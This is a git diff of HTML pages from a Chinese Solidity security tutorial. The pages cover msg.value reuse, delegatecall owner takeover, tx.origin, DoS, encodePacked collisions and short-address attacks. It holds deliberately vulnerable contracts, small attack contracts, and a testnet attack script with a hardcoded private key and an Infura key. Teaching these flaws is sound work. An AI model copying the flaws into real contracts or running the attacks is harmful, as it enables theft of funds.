      第15节:安全事故5- - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/16_\345\256\211\345\205\250\344\272\213\346\225\2056-msgvalue\346\214\201\344\271\205\345\214\226\351\227\256\351\242\230.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/16_\345\256\211\345\205\250\344\272\213\346\225\2056-msgvalue\346\214\201\344\271\205\345\214\226\351\227\256\351\242\230.html" index ac653165..16947c79 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/16_\345\256\211\345\205\250\344\272\213\346\225\2056-msgvalue\346\214\201\344\271\205\345\214\226\351\227\256\351\242\230.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/16_\345\256\211\345\205\250\344\272\213\346\225\2056-msgvalue\346\214\201\344\271\205\345\214\226\351\227\256\351\242\230.html" @@ -36,10 +36,6 @@ - - - - @@ -3022,38 +3018,38 @@

      第16节:安全事

      小白入门:https://github.com/dukedaily/solidity-expert ,欢迎star转发,文末加V入群。

      在如下代码中,存在msg.value被重复使用的问题:在delegatecall中,msg.value与当前batch函数中msg.value一致,这可能导致错误。

      -
      function batch(bytes[] calldata calls, bool revertOnFail) external payable returns(bool[] memory success, bytes[] memory results) {
      -  successes = new bool[](calls.length);
      -  results = new bytes[](calls.length);
      +
      function batch(bytes[] calldata calls, bool revertOnFail) external payable returns(bool[] memory success, bytes[] memory results) {
      +  successes = new bool[](calls.length);
      +  results = new bytes[](calls.length);
       
      -  for (uint256 i=0; i< calls.length; i++) {
      -    (bool success, bytes memory result) = address(this).delegatecall(calls[i]);
      -    require(success || !revertOnFail, _getReyerMsg(result));
      +  for (uint256 i=0; i< calls.length; i++) {
      +    (bool success, bytes memory result) = address(this).delegatecall(calls[i]);
      +    require(success || !revertOnFail, _getReyerMsg(result));
           successes[i] = success;
           results[i] = result;
         }
       }
       

      我们写一个测试案例:

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
       contract batch {
           uint public num;
           address public sender;
           uint public value;
       
      -    function mintBatch(uint _num) public payable {
      -        // Proxy's storage is set, Implementation is not modified.
      -        for (uint i = 0; i < _num; i++) {
      -          (bool success, bytes memory data) = address(this).delegatecall(
      -              abi.encodeWithSignature("mint(uint256)", _num)
      +    function mintBatch(uint _num) public payable {
      +        // Proxy's storage is set, Implementation is not modified.
      +        for (uint i = 0; i < _num; i++) {
      +          (bool success, bytes memory data) = address(this).delegatecall(
      +              abi.encodeWithSignature("mint(uint256)", _num)
                 );
               }
           }
       
      -    function mint(uint _num) public payable {
      -        require(msg.value == 1 ether, "error");
      +    function mint(uint _num) public payable {
      +        require(msg.value == 1 ether, "error");
               num = _num;
               sender = msg.sender;
               value += msg.value;
      @@ -3097,7 +3093,7 @@ 

      第16节:安全事 @@ -3183,14 +3179,6 @@

      第16节:安全事 - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/17_\345\256\211\345\205\250\344\272\213\346\225\2057-\347\224\250EOA\346\235\245call\346\226\271\346\263\225\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/17_\345\256\211\345\205\250\344\272\213\346\225\2057-\347\224\250EOA\346\235\245call\346\226\271\346\263\225\346\224\273\345\207\273.html" index 87475c8a..e9866325 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/17_\345\256\211\345\205\250\344\272\213\346\225\2057-\347\224\250EOA\346\235\245call\346\226\271\346\263\225\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/17_\345\256\211\345\205\250\344\272\213\346\225\2057-\347\224\250EOA\346\235\245call\346\226\271\346\263\225\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,47 +3026,47 @@

      第17节:安全事

    2. 攻击案例:QBridege安全事件
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -import "hardhat/console.sol";
    +import "hardhat/console.sol";
     
     contract Test {        
    -    function TestEOA(uint _num) public payable {
    -      address EOA = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
    +    function TestEOA(uint _num) public payable {
    +      address EOA = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
           (bool success, bytes memory data) = address(EOA).call(
    -        abi.encodeWithSignature("mint(uint256)", _num)
    +        abi.encodeWithSignature("mint(uint256)", _num)
           );
     
    -            // 这个居然是true,这个存在攻击可能
    -      console.log("result:", success);
    +            // 这个居然是true,这个存在攻击可能
    +      console.log("result:", success);
         }
     
    -    function TestNotExist(uint _num) public payable {
    -      (bool success, bytes memory data) = address(this).call(
    -        abi.encodeWithSignature("notExist(uint256)", _num)
    +    function TestNotExist(uint _num) public payable {
    +      (bool success, bytes memory data) = address(this).call(
    +        abi.encodeWithSignature("notExist(uint256)", _num)
           );
     
    -            // true,因为执行了fallback
    -            // 如果fallback不存在,则返回false,但是不会抛异常
    -      console.log("result:", success);  
    +            // true,因为执行了fallback
    +            // 如果fallback不存在,则返回false,但是不会抛异常
    +      console.log("result:", success);  
         }
     
    -    function TestExist(uint _num) public payable {
    -      (bool success, bytes memory data) = address(this).call(
    -          abi.encodeWithSignature("mint(uint256)", _num)
    +    function TestExist(uint _num) public payable {
    +      (bool success, bytes memory data) = address(this).call(
    +          abi.encodeWithSignature("mint(uint256)", _num)
           );
     
    -      // true
    -      console.log("result:", success);
    +      // true
    +      console.log("result:", success);
         }
     
    -    function mint(uint _num) public payable {
    -        console.log("mint called:", _num);
    +    function mint(uint _num) public payable {
    +        console.log("mint called:", _num);
         }
     
         fallback() external payable {
    -      console.log("fallback called!");
    +      console.log("fallback called!");
         }
     }
     
    @@ -3106,7 +3102,7 @@

    第17节:安全事 @@ -3192,14 +3188,6 @@

    第17节:安全事 - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/18_\345\256\211\345\205\250\344\272\213\346\225\2058-\345\217\257\347\207\203\347\203\247\344\273\243\345\270\201\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/18_\345\256\211\345\205\250\344\272\213\346\225\2058-\345\217\257\347\207\203\347\203\247\344\273\243\345\270\201\346\224\273\345\207\273.html" index e4e4359d..117e572f 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/18_\345\256\211\345\205\250\344\272\213\346\225\2058-\345\217\257\347\207\203\347\203\247\344\273\243\345\270\201\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/18_\345\256\211\345\205\250\344\272\213\346\225\2058-\345\217\257\347\207\203\347\203\247\344\273\243\345\270\201\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3020,24 +3016,24 @@

    第18节:安全事故8-可燃烧代币攻击

    有些代币在转账时会销毁一部分转账费用,导致实际收到的代币余额偏少,如果开发者没考虑到这一点,以转账值计算,会导致出现偏差。

    我们可以通过校验转账前后的token余额来进行校验,确保转账之后确实收到了预期数量的token,从而防止作恶行为。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.8;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.8;
     
     contract StakePool {
     
    -    function stake(address _token_addr, uint256 _amount) public {
    -          // 1. 检查转账之前的余额
    -        uint256 balance_before_transfer = IERC20(_token_addr).balanceOf(address(this));
    +    function stake(address _token_addr, uint256 _amount) public {
    +          // 1. 检查转账之前的余额
    +        uint256 balance_before_transfer = IERC20(_token_addr).balanceOf(address(this));
     
    -          // 2. 转账
    -        IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _amount);
    +          // 2. 转账
    +        IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _amount);
     
    -          // 3. 检查转账之后的余额
    -        uint256 balance_after_transfer = IERC20(_token_addr).balanceOf(address(this));
    +          // 3. 检查转账之后的余额
    +        uint256 balance_after_transfer = IERC20(_token_addr).balanceOf(address(this));
     
    -          // 4. 计算差值,得到实际收取到的金额,进行校验!
    +          // 4. 计算差值,得到实际收取到的金额,进行校验!
             uint256 received_amount = balance_after_transfer - balance_before_transfer;
    -        require(received_amount >= _amount, "received should gt _amount");
    +        require(received_amount >= _amount, "received should gt _amount");
         }
     }
     
    @@ -3068,7 +3064,7 @@

    第18节:安全事故8 @@ -3154,14 +3150,6 @@

    第18节:安全事故8 - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/19_\345\256\211\345\205\250\344\272\213\346\225\2059-\347\255\276\345\220\215\351\252\214\350\257\201\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/19_\345\256\211\345\205\250\344\272\213\346\225\2059-\347\255\276\345\220\215\351\252\214\350\257\201\346\224\273\345\207\273.html" index 235e46c6..3618dd6b 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/19_\345\256\211\345\205\250\344\272\213\346\225\2059-\347\255\276\345\220\215\351\252\214\350\257\201\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/19_\345\256\211\345\205\250\344\272\213\346\225\2059-\347\255\276\345\220\215\351\252\214\350\257\201\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3049,7 +3045,7 @@

    第19节:安全事故9- @@ -3135,14 +3131,6 @@

    第19节:安全事故9- - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/20_\345\256\211\345\205\250\344\272\213\346\225\20510-delegatecall\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/20_\345\256\211\345\205\250\344\272\213\346\225\20510-delegatecall\346\224\273\345\207\273.html" index 23182cf6..0e79af96 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/20_\345\256\211\345\205\250\344\272\213\346\225\20510-delegatecall\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/20_\345\256\211\345\205\250\344\272\213\346\225\20510-delegatecall\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3020,31 +3016,31 @@

    第20节:安全事故10-delegatecall攻击

    当合约中存在delegatecall操作时,要格外小心,我们可以把使用delegatecall的合约当成代理合约,可以通过业务合约(Attack合约)来对代理合约进行升级,从而修改了代理合约中的数据。

    以下案例中,我们通过Attack合约完成了对Proxy合约的owner修改。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.8;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.8;
     
    -// 操作步骤:
    -// 1. 使用account0部署Proxy,此时owner是account0
    -// 2. 使用account1部署Attack,得到地址attack_addr
    -// 3. 调用forward(attack_addr, 0x40caae06)
    -// 4. 检查owner地址,此时由account0变成了account1
    +// 操作步骤:
    +// 1. 使用account0部署Proxy,此时owner是account0
    +// 2. 使用account1部署Attack,得到地址attack_addr
    +// 3. 调用forward(attack_addr, 0x40caae06)
    +// 4. 检查owner地址,此时由account0变成了account1
     
    -contract Proxy {
    +contract Proxy {
         address public owner;
    -    constructor() {
    +    constructor() {
             owner = msg.sender;  
         }
     
    -    // _data: 0x40caae06
    -    function forward(address callee, bytes memory _data) public {
    +    // _data: 0x40caae06
    +    function forward(address callee, bytes memory _data) public {
             (bool success, ) = callee.delegatecall(_data);
    -        require(success, "tx failed!");
    +        require(success, "tx failed!");
         }
     }
     
     contract Attack {
         address public owner;
    -    function setOwner() public {
    +    function setOwner() public {
             owner = tx.origin;
         }
     }
    @@ -3081,7 +3077,7 @@ 

    第20节:安全事故10- @@ -3167,14 +3163,6 @@

    第20节:安全事故10- - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/21_\345\256\211\345\205\250\344\272\213\346\225\20511-tx.origin\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/21_\345\256\211\345\205\250\344\272\213\346\225\20511-tx.origin\346\224\273\345\207\273.html" index 3a72d1a9..4b6efa04 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/21_\345\256\211\345\205\250\344\272\213\346\225\20511-tx.origin\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/21_\345\256\211\345\205\250\344\272\213\346\225\20511-tx.origin\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,34 +3020,34 @@

    第21节:安全事故11-tx.o
  • 没有增加重入检查
  • 校验条件错误:tx.origin == owner,这个在重入时是无效的
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.11;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.11;
     
    -// THIS CONTRACT CONTAINS A BUG - DO NOT USE
    +// THIS CONTRACT CONTAINS A BUG - DO NOT USE
     contract MyWallet {
         address owner;
    -    constructor() {
    +    constructor() {
             owner = msg.sender;
         }
         receive () external payable {
         }
    -    function transferTo(address payable dest, uint amount) public {
    -        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
    -        require(tx.origin == owner);
    +    function transferTo(address payable dest, uint amount) public {
    +        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
    +        require(tx.origin == owner);
     
    -          // At this point, the caller's code is executed, and can call withdrawBalance again
    -        (bool success, ) = dest.call{value: amount}(""); 
    -        require(success);
    +          // At this point, the caller's code is executed, and can call withdrawBalance again
    +        (bool success, ) = dest.call{value: amount}(""); 
    +        require(success);
         }
     }
     
     interface UserWallet {
    -    function transferTo(address payable dest, uint amount) external;
    +    function transferTo(address payable dest, uint amount) external;
     }
     
     contract Attack {
         address payable owner;
    -    constructor() {
    +    constructor() {
             owner = payable(msg.sender);
         }
         receive() external payable {
    @@ -3093,7 +3089,7 @@ 

    第21节:安全事故11-tx.o @@ -3179,14 +3175,6 @@

    第21节:安全事故11-tx.o - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/22_\345\256\211\345\205\250\344\272\213\346\225\20512-DOS\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/22_\345\256\211\345\205\250\344\272\213\346\225\20512-DOS\346\224\273\345\207\273.html" index a22708af..e79ca1f3 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/22_\345\256\211\345\205\250\344\272\213\346\225\20512-DOS\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/22_\345\256\211\345\205\250\344\272\213\346\225\20512-DOS\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3019,24 +3015,24 @@

    第22节:安全事故12-DOS攻击

    调用外部合约可能永久失败导致本合约不能接受新的指令,例如当合约主动对另外一个合约转账,而被转账合约没有接受转账的函数时,转账失败,此时合约可能进入拒绝服务状态。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.11;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.11;
     
     contract Refunder {
     
     address[] private refundAddresses;
    -mapping (address => uint) public refunds;
    -    constructor() {
    -        refundAddresses.push(0x79B483371E87d664cd39491b5F06250165e4b184);
    -        refundAddresses.push(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB);
    +mapping (address => uint) public refunds;
    +    constructor() {
    +        refundAddresses.push(0x79B483371E87d664cd39491b5F06250165e4b184);
    +        refundAddresses.push(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB);
         }
     
    -    // bad
    -    function refundAll() public {
    -        // arbitrary length iteration based on how many addresses participated
    -        for(uint x; x < refundAddresses.length; x++) { 
    -            // doubly bad, now a single failure on send will hold up all funds
    -            require(payable(refundAddresses[x]).send(refunds[refundAddresses[x]]));
    +    // bad
    +    function refundAll() public {
    +        // arbitrary length iteration based on how many addresses participated
    +        for(uint x; x < refundAddresses.length; x++) { 
    +            // doubly bad, now a single failure on send will hold up all funds
    +            require(payable(refundAddresses[x]).send(refunds[refundAddresses[x]]));
             }
         }
     }
    @@ -3070,7 +3066,7 @@ 

    第22节:安全事故12-DOS攻击 @@ -3156,14 +3152,6 @@

    第22节:安全事故12-DOS攻击 - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/23_\345\256\211\345\205\250\344\272\213\346\225\20513-encodePacked\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/23_\345\256\211\345\205\250\344\272\213\346\225\20513-encodePacked\346\224\273\345\207\273.html" index d532bfd6..021d5b29 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/23_\345\256\211\345\205\250\344\272\213\346\225\20513-encodePacked\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/23_\345\256\211\345\205\250\344\272\213\346\225\20513-encodePacked\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3020,35 +3016,35 @@

    第23节:安全事故13-encodePacked攻击

    abi.encodePacked() 采用非填充序列化,当序列化参数包含多个变长数组时,攻击者可以在保持所有元素顺序不变的前提下,改变两个变长数组的元素,如此序列化的结果相同。

    在下面的代码中:通过构造 addUser 的输入,攻击者可以将 regularUsers 的成员加入 admins 成员,但是构造的输入和原输入的签名相同。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.11;
    -import "./ECDSA.sol";
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.11;
    +import "./ECDSA.sol";
     
     contract AccessControl {
    -    using ECDSA for bytes32;
    -    mapping(address => bool) isAdmin;
    -    mapping(address => bool) isRegularUser;
    +    using ECDSA for bytes32;
    +    mapping(address => bool) isAdmin;
    +    mapping(address => bool) isRegularUser;
     
    -    // Add admins and regular users.
    -    function addUsers(
    +    // Add admins and regular users.
    +    function addUsers(
             address[] calldata admins,
             address[] calldata regularUsers,
             bytes calldata signature
    -    )
    -        external
    -    {
    -        if (!isAdmin[msg.sender]) {
    -            // Allow calls to be relayed with an admin's signature.
    +    )
    +        external
    +    {
    +        if (!isAdmin[msg.sender]) {
    +            // Allow calls to be relayed with an admin's signature.
     
                 bytes32 hash = keccak256(abi.encodePacked(admins, regularUsers));
                 address signer = hash.toEthSignedMessageHash().recover(signature);
    -            require(isAdmin[signer], "Only admins can add users.");
    +            require(isAdmin[signer], "Only admins can add users.");
             }
    -        for (uint256 i = 0; i < admins.length; i++) {
    -            isAdmin[admins[i]] = true;
    +        for (uint256 i = 0; i < admins.length; i++) {
    +            isAdmin[admins[i]] = true;
             }
    -        for (uint256 i = 0; i < regularUsers.length; i++) {
    -            isRegularUser[regularUsers[i]] = true;
    +        for (uint256 i = 0; i < regularUsers.length; i++) {
    +            isRegularUser[regularUsers[i]] = true;
             }
         }
     }
    @@ -3081,7 +3077,7 @@ 

    第23节:安全事故13- @@ -3167,14 +3163,6 @@

    第23节:安全事故13- - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/24_\345\256\211\345\205\250\344\272\213\346\225\20514-\347\237\255\345\234\260\345\235\200\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/24_\345\256\211\345\205\250\344\272\213\346\225\20514-\347\237\255\345\234\260\345\235\200\346\224\273\345\207\273.html" index 4a068fb9..dbfc2a79 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/24_\345\256\211\345\205\250\344\272\213\346\225\20514-\347\237\255\345\234\260\345\235\200\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/24_\345\256\211\345\205\250\344\272\213\346\225\20514-\347\237\255\345\234\260\345\235\200\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3019,64 +3015,64 @@

    第24节:安全事故14-短地址攻击

    如果传入的 to 是末端缺省的短地址,EVM 会将后面字节补足地址,而最后的 value 值不足则用 0 填充,导致实际转出的代币数值倍增,在执行transfer函数时,原型如下:

    -
    function transfer(address _to, uint256 _value) returns (bool success)`
    +
    function transfer(address _to, uint256 _value) returns (bool success)`
     

    在正常情况下,会给EVM传入136位的字节码(不包含0x),示例如下:

    a9059cbb000000000000000000000000490e588126207a8132c8e002c8554e19cb380b7a000000000000000000000000000000000000000000000000000000003430bca1
     

    但是,如果我们选择的_to地址后面正好有几个0(假设:3个0),而我们刻意将这3个0去掉,那么EVM会自动使用后面的 _value值的高位0对这缺失的3个0进行补位,同时EVM也会在_value后面进行再次3个补零,从而保证136位字节码完整,而这种机制导致的结果就是:原本value是1的时候,从后面补三个零,将value变成了1000,这相当于转账的值放大了1000倍(10^3)。

    代码验证

    -
    import { ethers } from "hardhat";
    -
    -async function main() {
    -  // 0xEAd54777D54C2C1bE1458E749fDfB5d654458309
    -  const senderPrivateKey = "0xa7b0f6c4cddc5c818655f5c0eb9e42f803dcc400ec284521e9092e8b243473c3"
    -  const provider_default = new ethers.providers.JsonRpcProvider("https://goerli.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161");
    -
    -  let sender = new ethers.Wallet(senderPrivateKey, provider_default)
    -  // 获取地址,与hardhat原生的不一样
    -  let senderAddr = await sender.getAddress()
    -
    -  // 提前转入足量的eth和token
    -  let balance = await sender.getBalance()
    -  console.log('balance Of Ether: ' + balance, ', sender:', senderAddr)
    -
    -  const contractAddr = "0x11Fe617f76aC652F995E7BA0fE4001F741e6d003"
    -
    -  // 这里要加上signer
    -  let contractInstance = await ethers.getContractAt("Test", contractAddr, sender)
    -  console.log('contractInstance:', contractInstance.address);
    -  console.log("balance of sender:", await contractInstance.BalanceOf(senderAddr))
    -
    -  //1. 构造攻击bytecode
    -  let transferToCode = contractInstance.interface.encodeFunctionData("transferTo", ["0xdfca6234eb09125632f8f3c71bf8733073b7cd00", 123])
    -  // 0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd00000000000000000000000000000000000000000000000000000000000000007b
    -  // 0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b, 剪掉两个0
    -  console.log('transferToCode:', transferToCode);
    -
    -  // 2. 发起攻击 
    -  const tx = {
    -    // data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b', //invalid data
    -    data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd00000000000000000000000000000000000000000000000000000000000000007b',  // valid data
    -    nonce: 1, //你发送交易的帐号的最后一笔交易的 nonce + 1
    -    gasLimit: '0x2dc6c0',
    -    gasPrice: '0x2540be400',
    -    value: '0x0',
    -    to: contractAddr
    +
    import { ethers } from "hardhat";
    +
    +async function main() {
    +  // 0xEAd54777D54C2C1bE1458E749fDfB5d654458309
    +  const senderPrivateKey = "0xa7b0f6c4cddc5c818655f5c0eb9e42f803dcc400ec284521e9092e8b243473c3"
    +  const provider_default = new ethers.providers.JsonRpcProvider("https://goerli.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161");
    +
    +  let sender = new ethers.Wallet(senderPrivateKey, provider_default)
    +  // 获取地址,与hardhat原生的不一样
    +  let senderAddr = await sender.getAddress()
    +
    +  // 提前转入足量的eth和token
    +  let balance = await sender.getBalance()
    +  console.log('balance Of Ether: ' + balance, ', sender:', senderAddr)
    +
    +  const contractAddr = "0x11Fe617f76aC652F995E7BA0fE4001F741e6d003"
    +
    +  // 这里要加上signer
    +  let contractInstance = await ethers.getContractAt("Test", contractAddr, sender)
    +  console.log('contractInstance:', contractInstance.address);
    +  console.log("balance of sender:", await contractInstance.BalanceOf(senderAddr))
    +
    +  //1. 构造攻击bytecode
    +  let transferToCode = contractInstance.interface.encodeFunctionData("transferTo", ["0xdfca6234eb09125632f8f3c71bf8733073b7cd00", 123])
    +  // 0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd00000000000000000000000000000000000000000000000000000000000000007b
    +  // 0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b, 剪掉两个0
    +  console.log('transferToCode:', transferToCode);
    +
    +  // 2. 发起攻击 
    +  const tx = {
    +    // data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b', //invalid data
    +    data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd00000000000000000000000000000000000000000000000000000000000000007b',  // valid data
    +    nonce: 1, //你发送交易的帐号的最后一笔交易的 nonce + 1
    +    gasLimit: '0x2dc6c0',
    +    gasPrice: '0x2540be400',
    +    value: '0x0',
    +    to: contractAddr
       }
     
    -  let signedTx = await sender.signTransaction(tx)
    -  console.log('signedTx:', signedTx);
    +  let signedTx = await sender.signTransaction(tx)
    +  console.log('signedTx:', signedTx);
     
    -  let res = await sender.sendTransaction(tx)
    -  console.log("tx hash:", res.hash);
    +  let res = await sender.sendTransaction(tx)
    +  console.log("tx hash:", res.hash);
     }
     
    -// We recommend this pattern to be able to use async/await everywhere
    -// and properly handle errors.
    -main().catch((error) => {
    -  console.error(error);
    -  process.exitCode = 1;
    +// We recommend this pattern to be able to use async/await everywhere
    +// and properly handle errors.
    +main().catch((error) => {
    +  console.error(error);
    +  process.exitCode = 1;
     });
     

    总结:EVM已经修复了

    @@ -3116,7 +3112,7 @@

    参考链接

    @@ -3202,14 +3198,6 @@

    参考链接

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/30_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\344\270\200\350\210\254\345\216\237\345\210\231.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/30_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\344\270\200\350\210\254\345\216\237\345\210\231.html" index 94abcc8f..d08d95eb 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/30_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\344\270\200\350\210\254\345\216\237\345\210\231.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/30_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\344\270\200\350\210\254\345\216\237\345\210\231.html" @@ -36,10 +36,6 @@ - - - - @@ -3092,7 +3088,7 @@

    代码Code

  • C19 - 不要改变函数参数。
  • C20 - 即时计算价值是否比存储价值更便宜?
  • C21 - 是否所有状态变量都从正确的合约中读取(master还是clone)?
  • -
  • C22 - 是否正确使用了比较运算符(><>=),尤其是为了防止差一(多一次或 者少一次)错误?
  • +
  • C22 - 是否正确使用了比较运算符(><>=<=),尤其是为了防止差一(多一次或 者少一次)错误?
  • C23 - 是否正确使用了逻辑运算符(==!=&&||!),尤其是为了防止差一错误?
  • C24 - 在除法之前总是乘法,除非乘法可能溢出。
  • C25 - Magic numbers(魔数)是否被具有直观名称的常数替换?
  • @@ -3223,7 +3219,7 @@

    小结

    @@ -3309,14 +3305,6 @@

    小结

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/31_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\347\263\273\347\273\237\350\247\204\345\210\231.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/31_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\347\263\273\347\273\237\350\247\204\345\210\231.html" index 15a5d164..ef79f548 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/31_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\347\263\273\347\273\237\350\247\204\345\210\231.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/31_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\347\263\273\347\273\237\350\247\204\345\210\231.html" @@ -36,10 +36,6 @@ - - - - @@ -3047,7 +3043,7 @@

    31_智能合约编写系统规则

    @@ -3133,14 +3129,6 @@

    31_智能合约编写系统规则

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/32_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\346\234\200\344\275\263\345\256\236\350\267\265.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/32_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\346\234\200\344\275\263\345\256\236\350\267\265.html" index 630cdf17..11754aaa 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/32_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\346\234\200\344\275\263\345\256\236\350\267\265.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/32_\346\231\272\350\203\275\345\220\210\347\272\246\347\274\226\345\206\231\346\234\200\344\275\263\345\256\236\350\267\265.html" @@ -36,10 +36,6 @@ - - - - @@ -3059,7 +3055,7 @@

    32_智能合约编写最佳实践

    @@ -3145,14 +3141,6 @@

    32_智能合约编写最佳实践

